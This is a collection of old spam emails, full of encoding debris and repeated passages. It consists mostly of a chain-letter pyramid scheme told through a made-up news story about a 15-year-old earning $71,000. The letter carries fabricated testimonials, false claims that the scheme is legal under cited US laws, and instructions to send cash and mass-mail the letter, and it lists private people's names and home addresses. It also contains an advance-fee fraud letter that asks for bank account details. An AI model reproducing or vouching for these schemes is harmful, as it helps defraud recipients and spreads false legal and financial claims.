the past 2 months, he had been doing this right on his
computer in his bedroom.  

"I just got the E-mail one day and I figured what the
heck, I put my name on it like the instructions said
and I started sending it out", says the clever
15-year-old.

The E-mail letter listed 5 addresses and contained
instructions to send one $5 dollar bill to each person
on the list, then delete the address at the top and
move the other addresses down, and finally to add your
name to the top of the list.

The letter goes on to state that you would receive
several thousand dollars in five-dollar bills within 2
weeks if you sent out the letter with your name at the
top of the 5-address list.  "I get junk E-mail all the
time, and really did not think it was going to work",
the boy continues.


Within the first few days of sending out the E-mail,
the Post Office Box that his parents had gotten him
for his video-game magazine subscriptions began to
fill up with not magazines, but envelopes containing
$5 bills.

"About a week later I rode [my bike] down to the post
office and my box had 1magazine and about 300
envelopes stuffed in it.  There was also a yellow slip
that said I had to go up to the [post office] counter.

"I thought I was in trouble or something (laughs)". 
He goes on, "I went up to the counter and they had a
whole box of more mail for me.  I had to ride back
home and empty out my back pack because I couldn't
carry it all."

Over the next few weeks, the boy continued sending out
the E-mail.  "The money just kept coming in and I just
kept sorting it and stashing it in the closet, barely
had time for my homework".  He had also been riding
his bike to several of the banks in his area and
exchanging the $5 bills for twenties, fifties, and
hundreds. 

"I didn't want the banks to get suspicious so I kept
riding to different banks with, like, five thousand at
a time in my backpack.  I would usually tell the lady
at the bank counter that my dad had sent me in to
exchange the money and he was outside waiting for me. 
One time the lady gave me a really strange look and
told me that she would not be able to do it for me and
my dad would have to come in and do it, but I just
rode to the next bank down the street (laughs)."

Surprisingly, the boy did not have any reason to be
afraid.  The reporting news team examined and
investigated the so-called "chain-letter" the boy was
sending out and found that it was NOT a chain-letter
at all.  In fact, it was completely legal according to
US Postal and Lottery Laws, Title 18, Section 1302 and
1341, or Title 18, Section 3005 in the US code, also
in the code of federal regulations, Volume 16,
Sections 255 and 436, which state a product or
services must be exchanged for money received.

Every five -dollar bill that he received contained a
little note that read,   "Please send me report number
XYX".  This simple note made the letter legal because
he was exchanging a service (a Report on how-to) for a
five-dollar fee.

[This is the end of the media release.  If you would
like to understand how the system works and get your 
$71,000 - please continue reading.  What appears below
is what the 15-year-old was sending out on the net -
YOU CAN USE IT TOO - just follow the simple
instructions].

THANKS TO THE COMPUTER AGE AND THE INTERNET
!!

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=3D

You will make over half million dollars every 4 to 5
months from your home !!

Before you say  "BULL" , please read the following . 
This is the letter you have been hearing about on the
news lately.  Due to the popularity of this letter on
the Internet , a national weekly news program recently
devoted an entire show to the investigation of this
program described below, to see if it really can make
people money. The show also  investigated whether or
not the program was legal.

Their findings proved once and for all that there are
"absolutely NO Laws prohibiting the participation in
the program and if people can-follow the simple
instructions, they are bound to make some mega bucks
with only $25 out of pocket cost".
DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED , IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say: " Thanks to this
profitable opportunity , I was approached many times
before but each time I passed on it. I am so happy
that I finally joined just to see what one could
expect in return for the minimal effort and money
required. To my astonishment , I received a total of
$610,470.00 in 21 weeks, with money still coming
in".-Pam Hedland, Fort Lee ,New
Jersey.

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=3D=3D=3D=3D

Here is another testimonial : "This program has been
around for a long time but I never believed in it. But
one day when I received this again in the mail I
decided to gamble my $25 on it. I followed the simple
instructions and "BAM"!  3 weeks later the money
started POURING IN.  The first month I only made
$240.00 but the next 2 months after that I made a
total of $290,000.00. So far, in the past 8 months by
re-entering the program, I have made over $ 710,000.00
and I am playing it again. The key to success in this
program is to follow the simple steps and   NOT 
change  anything."  More testimonials later but first:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DPRINT THIS NOW FOR YOUR
FUTURE
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=3D

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


If  you would like to make at least $500,000 every 4
to 5 months easily and comfortably , PLEASE READ THE
FOLLOWING....THEN READ IT AGAIN AND  AGAIN !!!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED !!

INSTRUCTIONS:

*********** Order all 5 reports shown on the list below ***********

For each report send $5 CASH ,THE NAME & NUMBER OF THE
REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the
person whose name appears ON THAT LIST next to the
report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR
ENVELOPE TOP LEFT CORNER in case of any mail problems.

=3D=3D=3D=3D=3DWhen you place your order, make sure you order
each of the 5 reports.  You will need all 5 reports so
that you can save them on your computer and resell
them. YOUR TOTAL COST $5 X 5=3D $25.00

Within a few days you will receive , via E-mail, each
of the 5 reports from these 5 different individuals.
SAVE THEM ON YOUR COMPUTER so they will be accessible
for you to send to the 1,000's of people who will
order them from you. ALSO MAKE A FLOPPY OF THESE
REPORTS AND KEEP IT ON YOUR DESK IN CASE SOMETHING
HAPPENS TO YOUR COMPUTER.

IMPORTANT!!--DUE NOT ALTER THE NAMES OF THE PEOPLE WHO
ARE LISTED NEXT TO EACH REPORT!!, or their sequence on
the list, in any way other than what is instructed
below in step "1 through 6" or you will lose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if
you change it. REMEMBER, THIS METHOD HAS BEEN TESTED.
And if you alter it, IT WILL NOT WORK!!!  People have
tried to put their friends/relatives names on all five
thinking they could get all the money. But it does not
work this way. BECAUSE IF YOU DO, IT WILL NOT WORK FOR
YOU !!

REMEMBER , HONESTY REAPS THE REWARD!!!

1.=FFFFFF85After you have ordered all 5 reports , take this
advertisement and  REMOVE the name and & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their
fortune.

2.=FFFFFF85.Move the name & address in REPORT #4 down to
REPORT # 5.

3.=FFFFFF85Move the name & address in REPORT  #3 down to
REPORT #4

4.=FFFFFF85Move the name & address in REPORT  #2 down to
REPORT #3

5.=FFFFFF85Move the name & address in REPORT  #1 down to
REPORT #2

6.=FFFFFF85INSERT YOUR NAME & ADDRESS in the REPORT # 1
POSITION.

PLEASE MAKE SURE YOU COPY EVERY NAME &
ADDRESS
ACCURATELY!

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=3D=3D=3D=3D=3D

**** Take this entire letter, with the modified list
of names,  and save it on your computer.  DO NOT MAKE
ANY OTHER CHANGES.  Save this on a disk as well just
in case you loose any data.  To assist you with
marketing your business on the internet,  the 5
reports you purchase  will provide  you with
invaluable marketing information which includes how to
send bulk e-mails legally, where to find thousands of
free classified ads and much more.  There are 2
primary methods to get this venture going:

METHOD # 1:  BY SENDING BULK E-MAILS
LEGALLY
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=3D=3D=3D=3D=3D=3D

Let's say  that you decide to start small, just to see
how it goes, and we will assume You and those involved
send out only 5,000 e-mails each.  Let's also assume
that the mailing receive only a 0.2% response (the
response could be much better but lets just  say it 
is only 0.2%.  Also many people will send out hundreds
of thousands e-mails instead of  only 5,000 each). 
Continuing  with this example,  you send out only
5,000 e-mails.  With a 0.2% response, that is only 10
orders for report # 1 those 10 people responded by
sending out 5, 000 e-mail each for a total of 50,000.

Out of those 50,000 e-mails only 0.2% responded with
orders.  That =3D100 people responded and ordered Report
# 2.

Those 100 people mail out 5,000 e-mails each for a
total of 500,000 e-mails.  The 0.2% response to that
is 1000 orders for  Report # 3.  Those 1000 people
send out 5000 e-mails each for a total of 5 million
e-mails sent out.  The 0.2% response to that is 10,000
orders for Report # 4.  Whose 10,000 people send out
5,000 e-mails each for a total of 50,000,000 (50
million) e-mails.  The 0.2% response to that is
100,000 orders for Report # 5.  THAT'S 100,000 ORDERS
TIMES $5 EACH=3D500,000.00 (half million).

Your total income in this example is:  1... $50 + 2...
$500 + 3... $5,000 + 4... $50,000 + 5...
$500,000...Grand Total=3D $555,550.00

NUMBERS DO NOT LIE.  GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU
CALCULATE IT,  YOU WILL STILL MAKE A LOT OF
MONEY!!!

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REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF  5,000 YOU MAILED TO.  Dare to think
for a moment  what would happen if everyone or half 
or even =FFFFFFBC of those people mailed 100,000 e-mails each
or more?  There are over 175 million people on the
Internet worldwide and counting.  Believe me, many
people will do just that, and more!

METHOD # 2:  BY PLACING FREE ADS ON THE
INTERNET

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Advertising on the net is very very inexpensive and
there are hundreds of FREE places to advertise. 
Placing a lot of free ads on the Internet will easily
get a larger response.  We strongly suggest you  start
with Method # 1 and Method # 2 as you go along.  For
every $5 you receive, all you must do is e-mail them
the  report they ordered.  That's it.  Always provide 
SAME DAY service on all orders.  This will guarantee
that the e-mail they send out, with your name and
address on it, will be prompt  because they can not
advertise until they receive the report.

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REPORTS=3D=
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ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.  Notes : 
Always send $5 cash (U.S. CURRENCY) for each  Report. 
Checks NOT accepted.  Make sure the cash is concealed
by wrapping it in at least 2 sheets of paper.  On one
of those sheets of paper, write the NUMBER & the NAME
of the Report you are ordering, YOUR E-MAIL ADDRESS
and your name and postal address.

___________________________________________________________
PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT # 1  "The Insider's Guide to Advertising for
Free on the Net"

Order Report # 1 from :

C. Jennings
641 Northrup
Kansas City, KS  66101
USA
___________________________________________________________

REPORT # 2  "The Insider's  Guide to Sending Bulk
e-mail on the Net"

Order Report # 2 from:

T. Dickinson
6618 Butler Oaks Court
Spring, TX  77389
USA
___________________________________________________________

REPORT # 3  "The Secret to Multilevel Marketing on the
Net"

Order Report # 3 from:

Thomas C Makowski
501 Harding Ave
Bayville, NJ  08721
USA
___________________________________________________________

REPORT # 4  "How to become a Millionaire utilizing MLM
& the Net"

Order Report # 4 from:

Syd Barrett
P.O. Box 41707
Eugene, OR  97404
USA
___________________________________________________________

REPORT # 5  " HOW TO SEND 1 MILLION E-MAILS FOR FREE"

Order Report #5 from :

Robert F Allison
131 East 217th St.
Euclid, OH  44123
USA 
___________________________________________________________

$$$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$$$$$

Follow these guidelines to guarantee your success :

=3D=3D=3DIf you do not receive at least 10 orders for Report
# 1 within 2 weeks, continue sending e-mails until you
do .

=3D=3D=3DAfter you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for
Report # 2.  If you did not, continue advertising or
sending e-mails until you do.

=3D=3D=3DOnce you have received 100 or more orders for
Report # 2, YOU CAN RELAX, because  the system is
already working for you, and the cash will continue 
to roll in!  THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you
are placed in front of a different Report.

You can KEEP TRACK of your PROGRESS by watching which
Report people are ordering from you.  IF YOU WANT TO
GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND
START THE WHOLE PROCESS AGAIN.  There is NO LIMIT to
the income you can generate from this
business!!!

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=3D

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

You have just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT.
You can make more money in the next few weeks and
months than you have ever imagined.  Follow the
program EXACTLY AS INSTRUCTED.  Do not change it in
any way.  It works exceedingly well as it is now.

Remember to e-mail a copy of this exciting report
after you have put your name and address in Report # 1
and moved others to #2...#5 as instructed above.  One
of the people  you send this to may send out 100,000
or more e-mails and your name will be on every one of
them.  Remember though, the more you send out the more
potential customers you will reach.  So my friend, I
have given you the ideas, information, materials and
opportunity to become financially independent.
IT IS UP TO YOU
NOW!

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"My name is Mitchell.  My wife, Jody and I live in
Chicago.   I am an accountant with a major U.S.
Corporation and I make pretty good money.  When  I
received this program I grumbled to Jody about
receiving  "junk mail".  I made fun of the whole
thing, spouting my knowledge of the population and
percentages involved.  I "knew" it wouldn't work. 
Jody totally ignored my supposed intelligence and a
few days later she jumped in with both feet.  I made
merciless fun of her, and was ready to lay the old "I
told you so" on her  when the thing didn't work. 
Well, the laugh was on me!
Within 3 weeks she had received 50 responses.  Within
the next 45 days she had received a total  of $
147,200.00.... all CASH!  I was shocked!  Needless to say,
I have joined Jody in her little "hobby".

-Mitchell Wolf M.D.,  Chicago,
Illinois
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ORDER YOUR REPORTS TODAY AND GET STARTED ON THE ROAD
TO FINANCIAL FREEDOM!
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ENG=2E VICTOR OKAFOR=2E
 
ATTENTION=3A THE PRESIDENT=2FMANAGING DIRECTOR
 
DEAR SIR=2C
 
REQUEST FOR URGENT CONFIDENTIAL BUSINESS 
RELATIONSHIP RE=3A TRANSFER OF US$28=2E6 AMERICAN
DOLLARS INTO ACCOUNT=2E
 
AFTER DUE DELIBERATION WITH MY COLLEAGUES=2C I DECIDED TO FORWARDTO YOU THIS BUSINESS PROPOSAL=2E WE WANT  A RELIABLE PERSON WHO COULD ASSIST US TO TRANSFER THE SUM OF TWENTY EIGHT MILLION=2C SIX HUNDRED THOUSAND UNITED STATE DOLLARS =28US$28=2E6M=29 INTO HIS=2FHER ACCOUNT=2E
THIS FUND RESULTED FROM AN OVER-INVOICED CONTRACT AWARED BY US UNDER THE BUDGET ALLOCATION TO MY MINISTRY AND THE BILL WAS APPROVED FOR PAYMENT BY THE CONCERNED MINISTRIES=2E THE CONTRACT WAS EXECUTED=2C COMIISSIONED AND THE CONTRACTOR WAS PAID HIS ACTUAL COST OF THE CONTRACT=2E WE ARE LEFT WITH THE BALANCE OF US$28=2E6M AS THE OVER INVOICED AMOUNT WHICH WE HAVE DELIBERATELY OVER ESTIMATED FOR OUR OWN USE BUT UNDER THE PROTOCOL DIVISION=2C CIVIL SERVANTS ARE FORBIDDEN TO OPERATE OR OWN FOREIGN ACCOUNT=2E 
 
THIS IS WHY=2C I CONTACT YOU ROR AN 
ASSISTANCE=2E WE HAVE AGREED TO SHARE THE MONEY AS FOLLLOWS=3A
1=2E 30% FOR YOU =28ACCOUNT OWNER=29
2=2E 60% FOR US
3=2E 10% FOR TAX=2C AS MAY BE REQUIRED BY YOUR GOVERNMENT=2E
 
AS YOU MAY WANT TO KNOW AND TO MAKE YOU LESS CURIOUS=2C I GOT YOUR ADDRESS FROM OUR REPUTABLE CHAMBER OF COMMERCE AND INDUSTRY AND I AM THE EXECUTIVE CHAIRMAN OF THE CONTRACT AWARD COMMITTEE OF THE NIGERIAN NATIONAL PETROLEUM CORPORATION =28NNPC=29=2E 
 
THE TRANSACTION IS VERY MUCH FREE FROM ALL SORT OF RISK HENCE THE BUSINESS WAS CAREFULLY PLANNED BEFORE IT WAS EXECUTED AND WE THE N=2EN=2EP=2EC=2E OFFICALS INVOLVED IN THE DEAL HAVE PUT MANY YEARS IN SERVICES TO OUR MINISTRY=2E 
 
WE HAVE BEEN EXERCISING PATIENCE FOR THIS OPPORTUNITY FOR SO LONG AND TO MOST OF US=2C THIS IS A LIFE TIME OPPORTUNITY WE CANNOT AFFORD TO MISS=2E
 
TO GET THIS FUND PAID INTO YOUR ACCOUNT=2C WE HAVE TO PRESENT AN INTERNATIONAL BUSINESS OUTFIT AND CONSEQUENT UPON INDICATION OF YOUR INTEREST TO FULLY ASSIST US IN THIS TRANSACTION=2C YOU ARE ADVISED TO FURNISH US WITH THE FOLLOWING=2E
1=2E YOUR BANKER=92S NAME AND ADDRESS
2=2E YOUR BANK ACCOUNT NUMBER AND ROTINE CODE NUMBER IF ANY
3=2E THE BANK TELEPHONE=2C FAX AND TELEX NUMBERS
4=2E THE NAME OF BENEFICIATY OF THE ACCOUNT
5=2E YOUR PRIVATE TELEPHONE AND FAX NUMBER FOR EASY COMMMUNICATION=2E
 
THIS INFORMATION WILL ENABLE US SEEK APPROVAL OF THE FUND FROM THE CONCERNED QUARTERS WITHIN 3-4 BANKING DAYS AND THE NIGERIA PETROLEUM CORPORATION =28NNPC=29 PAYMENT INFORMATION DATA WILL BE FAXED IMMEDIATELY TO YOU FOR COMPLETION=2E 
 
ONE OF MY COLLEAGUES AND I INVOLVED IN THIS DEAL WILL COME TO YOUR COUNTRY TO ARRANGE FOR OUR OWN SHARE UPON CONFIRATION FROM YOU THAT THE MONEY HAS HIT YOUR NOMINATED BANK ACCOUNT=2E 
ALL THIS WILL ONLY TAKE US ABOUT 14 WORKING DAYS TO TRANSFER THIS FUND INTO YOUR ACCOUNT FROM THE DAY WE RECEIVE THE REQUIREMENTS=2E
NOTE HOWEVER=2C THAT DUE TO OUR POOR TELECOMMINCATION SYSTEM=2C WE FIND IT DIFFICULT TO DIAL OUT =28INTERNATIONALLY=2E=29 THIS OFTEN AFFECT OUR INCOMING CALLS FROM ABROAD=2E FURTHERMORE=2C IN YOUR BID TRYING TO GET THROUGH TO ME=2C YOU MAY RECEIVE SOME DISCOURAGING TELEPHONE SIGNALS RANGING FROM SUSCIBER NOT AVAILABLE=2C ALL TRUNKS ARE BUSY=3B
 
PLEASE TRY LATER=2C TELEPHONE SWITCH OFF AND MANY OTHER DAUNTING SIGNALS=2E DO NOT EVEN BE DISCOURAGED AS IT HAS TO DO WITH OUR POOR TELECOMMUNICATION EQUIPMENT STATED ABOVE HENCE=2C I ADVISE YOU TO KEEP DIALING UNTIL YOU GET HROUGH=2C DO NOT GO THROUGH INERNATIONAL OPERATOR BECAUSE OF THE CONFIDENTIALITY INVOLVED IN THIS TRANSACTION=2E
 
LET HONESTY AND TRUST  BE OUR WATCHWORD THROUGHOUT THIS TRANSACTION=2E
 
I SHALL FURNISH YOU WITH SOME DETAILS ABOUT MYSELF=2E YOUR PROMPT REPLY WILL BE HIGHLY APPRECIATED=2E
 
BEST REGARDS=2E
 
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If you don't read ANYTHING else, and if you end up deleting this
email, just read only the next paragraph !

It will change your life!

Why do you think this email keeps showing up in your inbox?
Because this system WORKS, thats why!  
Are you still one of the sceptics that thinks that no one makes 
any money with this program?  Well, if you answered "Yes", you are WRONG.
It costs MONEY to send these emails, and therefore people are making 
a LOT of money sending this program, and having FUN at the same time!
If there was no money being made with this program, it wouldn't be able
to continue..... but it's like the energizer bunny, it just keeps 
going and going....
If you want to find out how this works, simply read the REST of the story.=
.

READ THIS MESSAGE if you are like me and want more than your lousy 
weekly paycheck.  Make more in a few months than last year at work. 
Believe it, and work it. 
 
This HONESTLY WORKS, don't make the same mistake I made. I deleted this 
7 or 8 times before finally giving it a try.  Within 2 weeks the orders 
(money) started coming in just like the plan below said it would. 
Give it a try!! 
 
You will be glad you did.

********************************************************

First read about how a 15 year old made $71,000.  
See below...

AS SEEN ON NATIONAL TV:  This is the media report.

PARENTS OF 15 - YEAR OLD - FIND $71,000 CASH HIDDEN IN
HIS CLOSET!

Does this headline look familiar?  Of course it does. 
You most likely have just seen this story recently
featured on a major nightly news program (USA).  And
reported elsewhere in the world (including my neck of
the woods - New Zealand).  His mother was cleaning and
putting laundry away when she came across a large
brown paper bag that was suspiciously buried beneath
some clothes and a skateboard in the back of her
15-year-old son's closet.
Nothing could have prepared her for the shock she got
when she opened the bag and found it was full of cash.
 Five-dollar bills, twenties, fifties and hundreds all
neatly rubber-banded in labeled piles.  "My first
thought was that he had robbed a bank, says the
41-year-old woman, "There was over $71,000 dollars in
that bag--that's more than my husband earns in a
year.

The woman immediately called her husband at the
car-dealership where he worked to tell him what she
had discovered.  He came home right away and they
drove together to the boy's school and picked him up. 
Little did they suspect that where the money came from
was more shocking than actually finding it in the
closet.

As it turns out, the boy had been sending out, via
E-mail, a type of "Report" to E-mail addresses that he
obtained off the Internet.  Everyday after school for
the past 2 months, he had been doing this right on his
computer in his bedroom.  

"I just got the E-mail one day and I figured what the
heck, I put my name on it like the instructions said
and I started sending it out", says the clever
15-year-old.

The E-mail letter listed 5 addresses and contained
instructions to send one $5 dollar bill to each person
on the list, then delete the address at the top and
move the other addresses down, and finally to add your
name to the top of the list.

The letter goes on to state that you would receive
several thousand dollars in five-dollar bills within 2
weeks if you sent out the letter with your name at the
top of the 5-address list.  "I get junk E-mail all the
time, and really did not think it was going to work",
the boy continues.


Within the first few days of sending out the E-mail,
the Post Office Box that his parents had gotten him
for his video-game magazine subscriptions began to
fill up with not magazines, but envelopes containing
$5 bills.

"About a week later I rode [my bike] down to the post
office and my box had 1magazine and about 300
envelopes stuffed in it.  There was also a yellow slip
that said I had to go up to the [post office] counter.

"I thought I was in trouble or something (laughs)". 
He goes on, "I went up to the counter and they had a
whole box of more mail for me.  I had to ride back
home and empty out my back pack because I couldn't
carry it all."

Over the next few weeks, the boy continued sending out
the E-mail.  "The money just kept coming in and I just
kept sorting it and stashing it in the closet, barely
had time for my homework".  He had also been riding
his bike to several of the banks in his area and
exchanging the $5 bills for twenties, fifties, and
hundreds. 

"I didn't want the banks to get suspicious so I kept
riding to different banks with, like, five thousand at
a time in my backpack.  I would usually tell the lady
at the bank counter that my dad had sent me in to
exchange the money and he was outside waiting for me. 
One time the lady gave me a really strange look and
told me that she would not be able to do it for me and
my dad would have to come in and do it, but I just
rode to the next bank down the street (laughs)."

Surprisingly, the boy did not have any reason to be
afraid.  The reporting news team examined and
investigated the so-called "chain-letter" the boy was
sending out and found that it was NOT a chain-letter
at all.  In fact, it was completely legal according to
US Postal and Lottery Laws, Title 18, Section 1302 and
1341, or Title 18, Section 3005 in the US code, also
in the code of federal regulations, Volume 16,
Sections 255 and 436, which state a product or
services must be exchanged for money received.

Every five -dollar bill that he received contained a
little note that read,   "Please send me report number
XYX".  This simple note made the letter legal because
he was exchanging a service (a Report on how-to) for a
five-dollar fee.

[This is the end of the media release.  If you would
like to understand how the system works and get your 
$71,000 - please continue reading.  What appears below
is what the 15-year-old was sending out on the net -
YOU CAN USE IT TOO - just follow the simple
instructions].

THANKS TO THE COMPUTER AGE AND THE INTERNET
!!

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You will make over half million dollars every 4 to 5
months from your home !!

Before you say  "BULL" , please read the following . 
This is the letter you have been hearing about on the
news lately.  Due to the popularity of this letter on
the Internet , a national weekly news program recently
devoted an entire show to the investigation of this
program described below, to see if it really can make
people money. The show also  investigated whether or
not the program was legal.

Their findings proved once and for all that there are
"absolutely NO Laws prohibiting the participation in
the program and if people can-follow the simple
instructions, they are bound to make some mega bucks
with only $25 out of pocket cost".
DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED , IT IS CURRENTLY WORKING
BETTER THAN EVER.

This is what one had to say: " Thanks to this
profitable opportunity , I was approached many times
before but each time I passed on it. I am so happy
that I finally joined just to see what one could
expect in return for the minimal effort and money
required. To my astonishment , I received a total of
$610,470.00 in 21 weeks, with money still coming
in".-Pam Hedland, Fort Lee ,New
Jersey.

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FINANCIAL DREAMS WILL COME TRUE, GUARANTEED !!

INSTRUCTIONS:

*********** Order all 5 reports shown on the list below ***********

For each report send $5 CASH ,THE NAME & NUMBER OF THE
REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the
person whose name appears ON THAT LIST next to the
report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR
ENVELOPE TOP LEFT CORNER in case of any mail problems.

=3D=3D=3D=3D=3DWhen you place your order, make sure you order
each of the 5 reports.  You will need all 5 reports so
that you can save them on your computer and resell
them. YOUR TOTAL COST $5 X 5=3D $25.00

Within a few days you will receive , via E-mail, each
of the 5 reports from these 5 different individuals.
SAVE THEM ON YOUR COMPUTER so they will be accessible
for you to send to the 1,000's of people who will
order them from you. ALSO MAKE A FLOPPY OF THESE
REPORTS AND KEEP IT ON YOUR DESK IN CASE SOMETHING
HAPPENS TO YOUR COMPUTER.

IMPORTANT!!--DUE NOT ALTER THE NAMES OF THE PEOPLE WHO
ARE LISTED NEXT TO EACH REPORT!!, or their sequence on
the list, in any way other than what is instructed
below in step "1 through 6" or you will lose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if
you change it. REMEMBER, THIS METHOD HAS BEEN TESTED.
And if you alter it, IT WILL NOT WORK!!!  People have
tried to put their friends/relatives names on all five
thinking they could get all the money. But it does not
work this way. BECAUSE IF YOU DO, IT WILL NOT WORK FOR
YOU !!

REMEMBER , HONESTY REAPS THE REWARD!!!

1.=FFFFFF85After you have ordered all 5 reports , take this
advertisement and  REMOVE the name and & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their
fortune.

2.=FFFFFF85.Move the name & address in REPORT #4 down to
REPORT # 5.

3.=FFFFFF85Move the name & address in REPORT  #3 down to
REPORT #4

4.=FFFFFF85Move the name & address in REPORT  #2 down to
REPORT #3

5.=FFFFFF85Move the name & address in REPORT  #1 down to
REPORT #2

6.=FFFFFF85INSERT YOUR NAME & ADDRESS in the REPORT # 1
POSITION.

PLEASE MAKE SURE YOU COPY EVERY NAME &
ADDRESS
ACCURATELY!

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**** Take this entire letter, with the modified list
of names,  and save it on your computer.  DO NOT MAKE
ANY OTHER CHANGES.  Save this on a disk as well just
in case you loose any data.  To assist you with
marketing your business on the internet,  the 5
reports you purchase  will provide  you with
invaluable marketing information which includes how to
send bulk e-mails legally, where to find thousands of
free classified ads and much more.  There are 2
primary methods to get this venture going:

METHOD # 1:  BY SENDING BULK E-MAILS
LEGALLY
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=3D=3D=3D=3D=3D=3D

Let's say  that you decide to start small, just to see
how it goes, and we will assume You and those involved
send out only 5,000 e-mails each.  Let's also assume
that the mailing receive only a 0.2% response (the
response could be much better but lets just  say it 
is only 0.2%.  Also many people will send out hundreds
of thousands e-mails instead of  only 5,000 each). 
Continuing  with this example,  you send out only
5,000 e-mails.  With a 0.2% response, that is only 10
orders for report # 1 those 10 people responded by
sending out 5, 000 e-mail each for a total of 50,000.

Out of those 50,000 e-mails only 0.2% responded with
orders.  That =3D100 people responded and ordered Report
# 2.

Those 100 people mail out 5,000 e-mails each for a
total of 500,000 e-mails.  The 0.2% response to that
is 1000 orders for  Report # 3.  Those 1000 people
send out 5000 e-mails each for a total of 5 million
e-mails sent out.  The 0.2% response to that is 10,000
orders for Report # 4.  Whose 10,000 people send out
5,000 e-mails each for a total of 50,000,000 (50
million) e-mails.  The 0.2% response to that is
100,000 orders for Report # 5.  THAT'S 100,000 ORDERS
TIMES $5 EACH=3D500,000.00 (half million).

Your total income in this example is:  1... $50 + 2...
$500 + 3... $5,000 + 4... $50,000 + 5...
$500,000...Grand Total=3D $555,550.00

NUMBERS DO NOT LIE.  GET A PENCIL & PAPER AND FIGURE
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU
CALCULATE IT,  YOU WILL STILL MAKE A LOT OF
MONEY!!!

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=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D
REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE
ORDERING OUT OF  5,000 YOU MAILED TO.  Dare to think
for a moment  what would happen if everyone or half 
or even =FFFFFFBC of those people mailed 100,000 e-mails each
or more?  There are over 175 million people on the
Internet worldwide and counting.  Believe me, many
people will do just that, and more!

METHOD # 2:  BY PLACING FREE ADS ON THE
INTERNET

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=3D=3D=3D=3D=3D=3D=3D=3D=3D
Advertising on the net is very very inexpensive and
there are hundreds of FREE places to advertise. 
Placing a lot of free ads on the Internet will easily
get a larger response.  We strongly suggest you  start
with Method # 1 and Method # 2 as you go along.  For
every $5 you receive, all you must do is e-mail them
the  report they ordered.  That's it.  Always provide 
SAME DAY service on all orders.  This will guarantee
that the e-mail they send out, with your name and
address on it, will be prompt  because they can not
advertise until they receive the report.

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REPORTS=3D=
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ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.  Notes : 
Always send $5 cash (U.S. CURRENCY) for each  Report. 
Checks NOT accepted.  Make sure the cash is concealed
by wrapping it in at least 2 sheets of paper.  On one
of those sheets of paper, write the NUMBER & the NAME
of the Report you are ordering, YOUR E-MAIL ADDRESS
and your name and postal address.

___________________________________________________________
PLACE YOUR ORDER FOR THESE REPORTS NOW:

REPORT # 1  "The Insider's Guide to Advertising for
Free on the Net"

Order Report # 1 from :

C. Jennings
641 Northrup
Kansas City, KS  66101
USA
___________________________________________________________

REPORT # 2  "The Insider's  Guide to Sending Bulk
e-mail on the Net"

Order Report # 2 from:

T. Dickinson
6618 Butler Oaks Court
Spring, TX  77389
USA
___________________________________________________________

REPORT # 3  "The Secret to Multilevel Marketing on the
Net"

Order Report # 3 from:

Thomas C Makowski
501 Harding Ave
Bayville, NJ  08721
USA
___________________________________________________________

REPORT # 4  "How to become a Millionaire utilizing MLM
& the Net"

Order Report # 4 from:

Syd Barrett
P.O. Box 41707
Eugene, OR  97404
USA
___________________________________________________________

REPORT # 5  " HOW TO SEND 1 MILLION E-MAILS FOR FREE"

Order Report #5 from :

Robert F Allison
131 East 217th St.
Euclid, OH  44123
USA 
___________________________________________________________

$$$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$$$$$

Follow these guidelines to guarantee your success :

=3D=3D=3DIf you do not receive at least 10 orders for Report
# 1 within 2 weeks, continue sending e-mails until you
do .

=3D=3D=3DAfter you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for
Report # 2.  If you did not, continue advertising or
sending e-mails until you do.

=3D=3D=3DOnce you have received 100 or more orders for
Report # 2, YOU CAN RELAX, because  the system is
already working for you, and the cash will continue 
to roll in!  THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you
are placed in front of a different Report.

You can KEEP TRACK of your PROGRESS by watching which
Report people are ordering from you.  IF YOU WANT TO
GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND
START THE WHOLE PROCESS AGAIN.  There is NO LIMIT to
the income you can generate from this
business!!!

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=3D

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS
PROGRAM:

You have just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT.
